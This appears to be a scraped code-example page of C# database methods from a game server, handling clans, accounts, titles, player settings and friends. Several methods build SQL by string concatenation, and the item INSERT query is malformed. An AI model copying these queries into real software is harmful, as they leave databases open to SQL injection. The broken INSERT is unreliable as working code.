                            item.SetCount(countarray1[i]);
                        }
                        for (int i = 0; i < countarray2.Length; i++)
                        {
                            VisitItem item = ev.box[i].reward2;
                            item.SetCount(countarray2[i]);
                        }
                        ev.SetBoxCounts();
                        _events.Add(ev);
                    }
                    command.Dispose();
                    data.Close();
                    connection.Dispose();
                    connection.Close();
                }
            }
            catch (Exception ex)
            {
                SaveLog.fatal(ex.ToString());
                Printf.b_danger("[EventVisitSyncer] Fatal Error!");
            }
        }
コード例 #12
0
        public static List <Clan> getClanListPerPage(int page)
        {
            List <Clan> clans = new List <Clan>();

            try
            {
                using (NpgsqlConnection connection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = connection.CreateCommand();
                    connection.Open();
                    command.Parameters.AddWithValue("@page", (170 * page));
                    command.CommandText = "SELECT * FROM clan_data ORDER BY clan_id DESC OFFSET @page LIMIT 170";
                    command.CommandType = CommandType.Text;
                    NpgsqlDataReader data = command.ExecuteReader();
                    while (data.Read())
                    {
                        long owner = data.GetInt64(3);
                        if (owner == 0)
                        {
                            continue;
                        }

                        string b1, b2, b3, b4, b5;
                        Clan   clan = new Clan
                        {
                            _id           = data.GetInt32(0),
                            _rank         = data.GetInt32(1),
                            _name         = data.GetString(2),
                            owner_id      = owner,
                            _logo         = (UInt32)data.GetInt64(4),
                            _name_color   = data.GetInt32(5),
                            _info         = data.GetString(6),
                            _news         = data.GetString(7),
                            creationDate  = data.GetInt32(8),
                            autoridade    = data.GetInt32(9),
                            limite_rank   = data.GetInt32(10),
                            limite_idade  = data.GetInt32(11),
                            limite_idade2 = data.GetInt32(12),
                            partidas      = data.GetInt32(13),
                            vitorias      = data.GetInt32(14),
                            derrotas      = data.GetInt32(15),
                            _pontos       = data.GetFloat(16),
                            maxPlayers    = data.GetInt32(17),
                            _exp          = data.GetInt32(18)
                        };
                        b1 = data.GetString(19);
                        b2 = data.GetString(20);
                        b3 = data.GetString(21);
                        b4 = data.GetString(22);
                        b5 = data.GetString(23);
                        clan.BestPlayers.SetPlayers(b1, b2, b3, b4, b5);
                        clans.Add(clan);
                    }
                    command.Dispose();
                    data.Close();
                    connection.Close();
                }
            }
            catch (Exception ex)
            {
                SaveLog.fatal(ex.ToString());
                Printf.b_danger("[ClanManager.getClanListPerPage] Erro fatal!");
            }
            return(clans);
        }
コード例 #13
0
        public static List <Account> getClanPlayers(int clan_id, long exception, bool useCache, bool isOnline)
        {
            List <Account> players = new List <Account>();

            if (clan_id == 0)
            {
                return(players);
            }
            try
            {
                using (NpgsqlConnection connection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = connection.CreateCommand();
                    connection.Open();
                    command.Parameters.AddWithValue("@clan", clan_id);
                    command.Parameters.AddWithValue("@on", isOnline);
                    command.CommandText = "SELECT player_id,player_name,name_color,rank,clanaccess,clandate,status FROM contas WHERE clan_id=@clan AND online=@on";
                    command.CommandType = CommandType.Text;
                    NpgsqlDataReader data = command.ExecuteReader();
                    while (data.Read())
                    {
                        long pId = data.GetInt64(0);
                        if (pId == exception)
                        {
                            continue;
                        }

                        Account p = new Account
                        {
                            player_id   = pId,
                            player_name = data.GetString(1),
                            name_color  = data.GetInt32(2),
                            clanId      = clan_id,
                            _rank       = data.GetInt32(3),
                            _isOnline   = isOnline,
                            clanAccess  = data.GetInt32(4),
                            clanDate    = data.GetInt32(5)
                        };
                        p._status.SetData((uint)data.GetInt64(6), p.player_id);
                        if (useCache)
                        {
                            Account p2 = AccountManager.getAccount(p.player_id, true);
                            if (p2 != null)
                            {
                                p._connection = p2._connection;
                            }
                        }
                        players.Add(p);
                    }
                    command.Dispose();
                    data.Close();
                    connection.Dispose();
                    connection.Close();
                }
            }
            catch (Exception ex)
            {
                SaveLog.fatal(ex.ToString());
                Printf.b_danger("[ClanManager.getClanPlayers] Erro fatal!");
            }
            return(players);
        }
コード例 #14
0
 public void UpdateConfig(int player_id, int audio1, int audio2, int mira, int sensibilidade, int visao, int sangue, int mao, int audio_enable, int config)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET mira='",
                 mira,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET audio1='",
                 audio1,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET audio2='",
                 audio2,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET sensibilidade='",
                 sensibilidade,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET visao='",
                 visao,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET sangue='",
                 sangue,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET mao='",
                 mao,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET audio_enable='",
                 audio_enable,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE configs SET config='",
                 config,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #15
0
 public TitleManager()
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandText = "SELECT * FROM titles";
             mySqlCommand.CommandType = CommandType.Text;
             MySqlDataReader mySqlDataReader = mySqlCommand.ExecuteReader();
             while (mySqlDataReader.Read())
             {
                 Title item = new Title
                 {
                     owner_id      = mySqlDataReader.GetInt32("owner_id"),
                     titleEquiped1 = mySqlDataReader.GetInt32("TitleEquiped1"),
                     titleEquiped2 = mySqlDataReader.GetInt32("TitleEquiped2"),
                     titleEquiped3 = mySqlDataReader.GetInt32("TitleEquiped3"),
                     titlePos1     = mySqlDataReader.GetInt32("titlePos1"),
                     titlePos2     = mySqlDataReader.GetInt32("titlePos2"),
                     titlePos3     = mySqlDataReader.GetInt32("titlePos3"),
                     titlePos4     = mySqlDataReader.GetInt32("titlePos4"),
                     titlePos5     = mySqlDataReader.GetInt32("titlePos5"),
                     titlePos6     = mySqlDataReader.GetInt32("titlePos6"),
                     title1        = mySqlDataReader.GetInt32("title1"),
                     title2        = mySqlDataReader.GetInt32("title2"),
                     title3        = mySqlDataReader.GetInt32("title3"),
                     title4        = mySqlDataReader.GetInt32("title4"),
                     title5        = mySqlDataReader.GetInt32("title5"),
                     title6        = mySqlDataReader.GetInt32("title6"),
                     title7        = mySqlDataReader.GetInt32("title7"),
                     title8        = mySqlDataReader.GetInt32("title8"),
                     title9        = mySqlDataReader.GetInt32("title9"),
                     title10       = mySqlDataReader.GetInt32("title10"),
                     title11       = mySqlDataReader.GetInt32("title11"),
                     title12       = mySqlDataReader.GetInt32("title12"),
                     title13       = mySqlDataReader.GetInt32("title13"),
                     title14       = mySqlDataReader.GetInt32("title14"),
                     title15       = mySqlDataReader.GetInt32("title15"),
                     title16       = mySqlDataReader.GetInt32("title16"),
                     title17       = mySqlDataReader.GetInt32("title17"),
                     title18       = mySqlDataReader.GetInt32("title18"),
                     title19       = mySqlDataReader.GetInt32("title19"),
                     title20       = mySqlDataReader.GetInt32("title20"),
                     title21       = mySqlDataReader.GetInt32("title21"),
                     title22       = mySqlDataReader.GetInt32("title22"),
                     title23       = mySqlDataReader.GetInt32("title23"),
                     title24       = mySqlDataReader.GetInt32("title24"),
                     title25       = mySqlDataReader.GetInt32("title25"),
                     title26       = mySqlDataReader.GetInt32("title26"),
                     title27       = mySqlDataReader.GetInt32("title27"),
                     title28       = mySqlDataReader.GetInt32("title28"),
                     title29       = mySqlDataReader.GetInt32("title29"),
                     title30       = mySqlDataReader.GetInt32("title30"),
                     title31       = mySqlDataReader.GetInt32("title31"),
                     title32       = mySqlDataReader.GetInt32("title32"),
                     title33       = mySqlDataReader.GetInt32("title33"),
                     title34       = mySqlDataReader.GetInt32("title34"),
                     title35       = mySqlDataReader.GetInt32("title35"),
                     title36       = mySqlDataReader.GetInt32("title36"),
                     title37       = mySqlDataReader.GetInt32("title37"),
                     title38       = mySqlDataReader.GetInt32("title38"),
                     title39       = mySqlDataReader.GetInt32("title39"),
                     title40       = mySqlDataReader.GetInt32("title40"),
                     title41       = mySqlDataReader.GetInt32("title41"),
                     title42       = mySqlDataReader.GetInt32("title42"),
                     title43       = mySqlDataReader.GetInt32("title43"),
                     title44       = mySqlDataReader.GetInt32("title44")
                 };
                 this._accounts.Add(item);
                 this.id++;
             }
         }
     }
     catch (Exception ex)
     {
         this.dbstatus = -100;
         CLogger.getInstance().error("[Title] database not found");
         CLogger.getInstance().error("[Title] " + ex.ToString());
     }
 }
コード例 #16
0
        public static List <Clan> getClanListPerPage(int page)
        {
            List <Clan> clanList = new List <Clan>();

            try
            {
                using (NpgsqlConnection npgsqlConnection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = npgsqlConnection.CreateCommand();
                    npgsqlConnection.Open();
                    command.Parameters.AddWithValue("@page", (object)(170 * page));
                    command.CommandText = "SELECT * FROM clan_data ORDER BY clan_id DESC OFFSET @page LIMIT 170";
                    command.CommandType = CommandType.Text;
                    NpgsqlDataReader npgsqlDataReader = command.ExecuteReader();
                    while (npgsqlDataReader.Read())
                    {
                        long int64 = npgsqlDataReader.GetInt64(3);
                        if (int64 != 0L)
                        {
                            Clan clan = new Clan()
                            {
                                _id           = npgsqlDataReader.GetInt32(0),
                                _rank         = npgsqlDataReader.GetInt32(1),
                                _name         = npgsqlDataReader.GetString(2),
                                owner_id      = int64,
                                _logo         = (uint)npgsqlDataReader.GetInt64(4),
                                _name_color   = npgsqlDataReader.GetInt32(5),
                                _info         = npgsqlDataReader.GetString(6),
                                _news         = npgsqlDataReader.GetString(7),
                                creationDate  = npgsqlDataReader.GetInt32(8),
                                autoridade    = npgsqlDataReader.GetInt32(9),
                                limite_rank   = npgsqlDataReader.GetInt32(10),
                                limite_idade  = npgsqlDataReader.GetInt32(11),
                                limite_idade2 = npgsqlDataReader.GetInt32(12),
                                partidas      = npgsqlDataReader.GetInt32(13),
                                vitorias      = npgsqlDataReader.GetInt32(14),
                                derrotas      = npgsqlDataReader.GetInt32(15),
                                _pontos       = npgsqlDataReader.GetFloat(16),
                                maxPlayers    = npgsqlDataReader.GetInt32(17),
                                _exp          = npgsqlDataReader.GetInt32(18)
                            };
                            string Exp   = npgsqlDataReader.GetString(19);
                            string Part  = npgsqlDataReader.GetString(20);
                            string Wins  = npgsqlDataReader.GetString(21);
                            string Kills = npgsqlDataReader.GetString(22);
                            string Hs    = npgsqlDataReader.GetString(23);
                            clan.BestPlayers.SetPlayers(Exp, Part, Wins, Kills, Hs);
                            clanList.Add(clan);
                        }
                    }
                    command.Dispose();
                    npgsqlDataReader.Close();
                    npgsqlConnection.Close();
                }
            }
            catch (Exception ex)
            {
                Logger.error(ex.ToString());
            }
            return(clanList);
        }
コード例 #17
0
 public void UpdateTitles(int player_id, int T1, int T2, int T3, int T4, int T5, int T6, int T7)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title1='",
                 T1,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title2='",
                 T2,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title3='",
                 T3,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title4='",
                 T4,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title5='",
                 T5,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title6='",
                 T6,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title7='",
                 T7,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #18
0
        protected internal override void write()
        {
            if (this._item < 1105004000 &&
                this._item > 1001001000)
            {
                this._pag_weapon = 1;
                this._unk1       = 1;
                this._unk2       = 0;
            }
            if (this._item < 1001001000)
            {
                this._pag_weapon = 0;
                this._unk1       = 1;
                this._unk2       = 0;
            }
            if (this._item > 1105004000)
            {
                this._pag_weapon = 0;
                this._unk1       = 0;
                this._unk2       = 2;
            }
            base.writeH(3588);
            base.writeC(0);
            base.writeD(this._pag_weapon); //0 - Armas, 1 - Personagens, 27 - Cupons
            base.writeD(this._unk1);       //1
            base.writeD(this._unk2);       //0
            base.writeD(this._item);       //0
            base.writeD(this._item);       //0
            base.writeD(this._item);
            if (this._item < 600000000)
            {
                this._type = 1;
            }

            if (this._item < 700000000 &&
                this._item > 600000000)
            {
                this._type = 2;
            }

            if (this._item < 800000000 &&
                this._item > 700000000)
            {
                this._type = 3;
            }

            if (this._item < 900000000 &&
                this._item > 800000000)
            {
                this._type = 4;
            }

            if (this._item < 1000000000 &&
                this._item > 900000000)
            {
                this._type = 5;
            }

            if (this._item < 1001002000 &&
                this._item > 1001001000)
            {
                this._type = 6;
            }

            if (this._item < 1001003000 &&
                this._item > 1001002000)
            {
                this._type = 7;
            }

            if (this._item < 1104004000 &&
                this._item > 1104003000)
            {
                this._type = 8;
            }

            if (this._item < 1105004000 &&
                this._item > 1105003000)
            {
                this._type = 8;
            }

            if (this._item < 1102004000 &&
                this._item > 1102003000)
            {
                this._type = 8;
            }

            if (this._item < 1103004000 &&
                this._item > 1103003000)
            {
                this._type = 10; //BOINA
            }
            if (this._item < 1006004000 &&
                this._item > 1006001000)
            {
                this._type = 9; //DINO
            }
            if (this._item < 1301510000 &&
                this._item > 1300002000)
            {
                this._type = 11;
            }

            if (this._item < 700000000 &&
                this._item > 600000000)
            {
                this._item_type = 1;
            }

            if (this._item < 800000000 &&
                this._item > 700000000)
            {
                this._item_type = 1;
            }

            if (this._item < 900000000 &&
                this._item > 800000000)
            {
                this._item_type = 1;
            }

            if (this._item < 1000000000 &&
                this._item > 900000000)
            {
                this._item_type = 1;
            }

            if (this._item < 1001002000 &&
                this._item > 1001001000)
            {
                this._item_type = 2;
            }

            if (this._item < 1001003000 &&
                this._item > 1001002000)
            {
                this._item_type = 2;
            }

            if (this._item < 1104004000 &&
                this._item > 1104003000)
            {
                this._item_type = 2;
            }

            if (this._item < 1105004000 &&
                this._item > 1105003000)
            {
                this._item_type = 2;
            }

            if (this._item < 1102004000 &&
                this._item > 1102003000)
            {
                this._item_type = 2;
            }

            if (this._item < 1103004000 &&
                this._item > 1103003000)
            {
                this._item_type = 2;
            }

            if (this._item < 1006004000 &&
                this._item > 1006001000)
            {
                this._item_type = 2;
            }

            if (this._item < 1301510000 &&
                this._item > 1300002000)
            {
                this._item_type = 3;
            }

            using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
            {
                mySqlConnection.Open();
                MySqlCommand mySqlCommand = new MySqlCommand(string.Concat(new object[]
                {
                    "INSERT INTO items(owner_id,item_id,item_name,item_type,count,equip,loc_slot)VALUES(" + "'" + this.p_id + "'" + "," + "'" + this._item + "'" + "," + "'" + this._item_name + "'" + "," + "'" + "," + this._item_type + "'" + "," + "'" + this._count + "'" + "," + "'" + this._equip + "'" + "," + "'" + this._type + "'" +
                    ")"
                }), mySqlConnection);
                mySqlCommand.ExecuteNonQuery();
            }
            this.writeC((byte)this._equip);
            this.writeD(this._count);
            this.writeC(0);
            this.writeC(0);
            base.writeC(1);
        }
コード例 #19
0
 public void UpdateTitles3(int player_id, int T16, int T17, int T18, int T19, int T20, int T21, int T22, int T23)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title16='",
                 T16,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title17='",
                 T17,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title18='",
                 T18,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title19='",
                 T19,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title20='",
                 T20,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title21='",
                 T21,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title22='",
                 T22,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title23='",
                 T23,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #20
0
        public static Account getAccountDB(object valor, int type, int searchDBFlag)
        {
            if (type == 2 && (long)valor == 0L || (type == 0 || type == 1) && (string)valor == "")
            {
                return((Account)null);
            }
            Account acc = (Account)null;

            try
            {
                using (NpgsqlConnection npgsqlConnection = SQLjec.getInstance().conn())
                {
                    NpgsqlCommand command = npgsqlConnection.CreateCommand();
                    npgsqlConnection.Open();
                    command.Parameters.AddWithValue("@value", valor);
                    NpgsqlCommand npgsqlCommand = command;
                    string        str1          = "SELECT * FROM accounts WHERE ";
                    string        str2;
                    switch (type)
                    {
                    case 0:
                        str2 = "login";
                        break;

                    case 1:
                        str2 = "player_name";
                        break;

                    default:
                        str2 = "player_id";
                        break;
                    }
                    string str3 = "=@value";
                    string str4 = str1 + str2 + str3;
                    npgsqlCommand.CommandText = str4;
                    command.CommandType       = CommandType.Text;
                    NpgsqlDataReader npgsqlDataReader = command.ExecuteReader();
                    while (npgsqlDataReader.Read())
                    {
                        acc          = new Account();
                        acc.login    = npgsqlDataReader.GetString(0);
                        acc.password = npgsqlDataReader.GetString(1);
                        acc.SetPlayerId(npgsqlDataReader.GetInt64(2), searchDBFlag);
                        acc.player_name                = npgsqlDataReader.GetString(3);
                        acc.name_color                 = npgsqlDataReader.GetInt32(4);
                        acc.clanId                     = npgsqlDataReader.GetInt32(5);
                        acc._rank                      = npgsqlDataReader.GetInt32(6);
                        acc._gp                        = npgsqlDataReader.GetInt32(7);
                        acc._exp                       = npgsqlDataReader.GetInt32(8);
                        acc.pc_cafe                    = npgsqlDataReader.GetInt32(9);
                        acc._statistic.fights          = npgsqlDataReader.GetInt32(10);
                        acc._statistic.fights_win      = npgsqlDataReader.GetInt32(11);
                        acc._statistic.fights_lost     = npgsqlDataReader.GetInt32(12);
                        acc._statistic.kills_count     = npgsqlDataReader.GetInt32(13);
                        acc._statistic.deaths_count    = npgsqlDataReader.GetInt32(14);
                        acc._statistic.headshots_count = npgsqlDataReader.GetInt32(15);
                        acc._statistic.escapes         = npgsqlDataReader.GetInt32(16);
                        acc.access                     = (AccessLevel)npgsqlDataReader.GetInt32(17);
                        acc.SetPublicIP(npgsqlDataReader.GetString(18));
                        acc.LastRankUpDate               = (uint)npgsqlDataReader.GetInt64(20);
                        acc._money                       = npgsqlDataReader.GetInt32(21);
                        acc._isOnline                    = npgsqlDataReader.GetBoolean(22);
                        acc._equip._primary              = npgsqlDataReader.GetInt32(23);
                        acc._equip._secondary            = npgsqlDataReader.GetInt32(24);
                        acc._equip._melee                = npgsqlDataReader.GetInt32(25);
                        acc._equip._grenade              = npgsqlDataReader.GetInt32(26);
                        acc._equip._special              = npgsqlDataReader.GetInt32(27);
                        acc._equip._red                  = npgsqlDataReader.GetInt32(28);
                        acc._equip._blue                 = npgsqlDataReader.GetInt32(29);
                        acc._equip._helmet               = npgsqlDataReader.GetInt32(30);
                        acc._equip._dino                 = npgsqlDataReader.GetInt32(31);
                        acc._equip._beret                = npgsqlDataReader.GetInt32(32);
                        acc.brooch                       = npgsqlDataReader.GetInt32(33);
                        acc.insignia                     = npgsqlDataReader.GetInt32(34);
                        acc.medal                        = npgsqlDataReader.GetInt32(35);
                        acc.blue_order                   = npgsqlDataReader.GetInt32(36);
                        acc._mission.mission1            = npgsqlDataReader.GetInt32(37);
                        acc.clanAccess                   = npgsqlDataReader.GetInt32(38);
                        acc.clanDate                     = npgsqlDataReader.GetInt32(39);
                        acc.effects                      = (CupomEffects)npgsqlDataReader.GetInt64(40);
                        acc._statistic.fights_draw       = npgsqlDataReader.GetInt32(41);
                        acc._mission.mission2            = npgsqlDataReader.GetInt32(42);
                        acc._mission.mission3            = npgsqlDataReader.GetInt32(43);
                        acc._statistic.totalkills_count  = npgsqlDataReader.GetInt32(44);
                        acc._statistic.totalfights_count = npgsqlDataReader.GetInt32(45);
                        acc._status.SetData((uint)npgsqlDataReader.GetInt64(46), acc.player_id);
                        acc.LastLoginDate        = (uint)npgsqlDataReader.GetInt64(47);
                        acc._statistic.ClanGames = npgsqlDataReader.GetInt32(48);
                        acc._statistic.ClanWins  = npgsqlDataReader.GetInt32(49);
                        acc.ban_obj_id           = npgsqlDataReader.GetInt64(51);
                        AccountManager.AddAccount(acc);
                    }
                    command.Dispose();
                    npgsqlDataReader.Close();
                    npgsqlConnection.Dispose();
                    npgsqlConnection.Close();
                }
            }
            catch (Exception ex)
            {
                Logger.error("Ocorreu um problema ao carregar as contas!\r\n" + ex.ToString());
            }
            return(acc);
        }
コード例 #21
0
 public void UpdateTitles5(int player_id, int T32, int T33, int T34, int T35, int T36, int T37, int T38, int T39)
 {
     try
     {
         using (MySqlConnection mySqlConnection = SQLjec.getInstance().conn())
         {
             MySqlCommand mySqlCommand = mySqlConnection.CreateCommand();
             mySqlConnection.Open();
             mySqlCommand.CommandType = CommandType.Text;
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title32='",
                 T32,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title33='",
                 T33,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title34='",
                 T34,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title35='",
                 T35,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title36='",
                 T36,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title37='",
                 T37,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title38='",
                 T38,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
             mySqlCommand.CommandText = string.Concat(new object[]
             {
                 "UPDATE titles SET title39='",
                 T39,
                 "' WHERE owner_id='",
                 player_id,
                 "';"
             });
             mySqlCommand.ExecuteNonQuery();
         }
     }
     catch (MySqlException ex)
     {
         throw ex;
     }
 }
コード例 #22
0
 public void getFriendlyAccounts(FriendSystem system, bool isOnline)
 {
     if (system == null || system._friends.Count == 0)
     {
         return;
     }
     try
     {
         using (NpgsqlConnection connection = SQLjec.getInstance().conn())
         {
             NpgsqlCommand command    = connection.CreateCommand();
             string        loaded     = "";
             List <string> parameters = new List <string>();
             for (int idx = 0; idx < system._friends.Count; idx++)
             {
                 Friend friend = system._friends[idx];
                 if (friend.state > 0)
                 {
                     return;
                 }
                 string param = "@valor" + idx;
                 command.Parameters.AddWithValue(param, friend.player_id);
                 parameters.Add(param);
             }
             loaded = string.Join(",", parameters.ToArray());
             if (loaded == "")
             {
                 return;
             }
             connection.Open();
             command.Parameters.AddWithValue("@on", isOnline);
             command.CommandText = "SELECT player_name,player_id,rank,status FROM contas WHERE player_id in (" + loaded + ") AND online=@on ORDER BY player_id";
             NpgsqlDataReader data = command.ExecuteReader();
             while (data.Read())
             {
                 Friend friend = system.GetFriend(data.GetInt64(1));
                 if (friend != null)
                 {
                     friend.player.player_name = data.GetString(0);
                     friend.player._rank       = data.GetInt32(2);
                     friend.player._isOnline   = isOnline;
                     friend.player._status.SetData((uint)data.GetInt64(3), friend.player_id);
                     if (isOnline && !_contas.ContainsKey(friend.player_id))
                     {
                         friend.player.setOnlineStatus(false);
                         friend.player._status.ResetData(friend.player_id);
                     }
                 }
             }
             command.Dispose();
             data.Dispose();
             data.Close();
             connection.Dispose();
             connection.Close();
         }
     }
     catch (Exception ex)
     {
         SaveLog.fatal(ex.ToString());
         Printf.b_danger("[AccountManager.FriendAccounts2] Erro fatal!");
     }
 }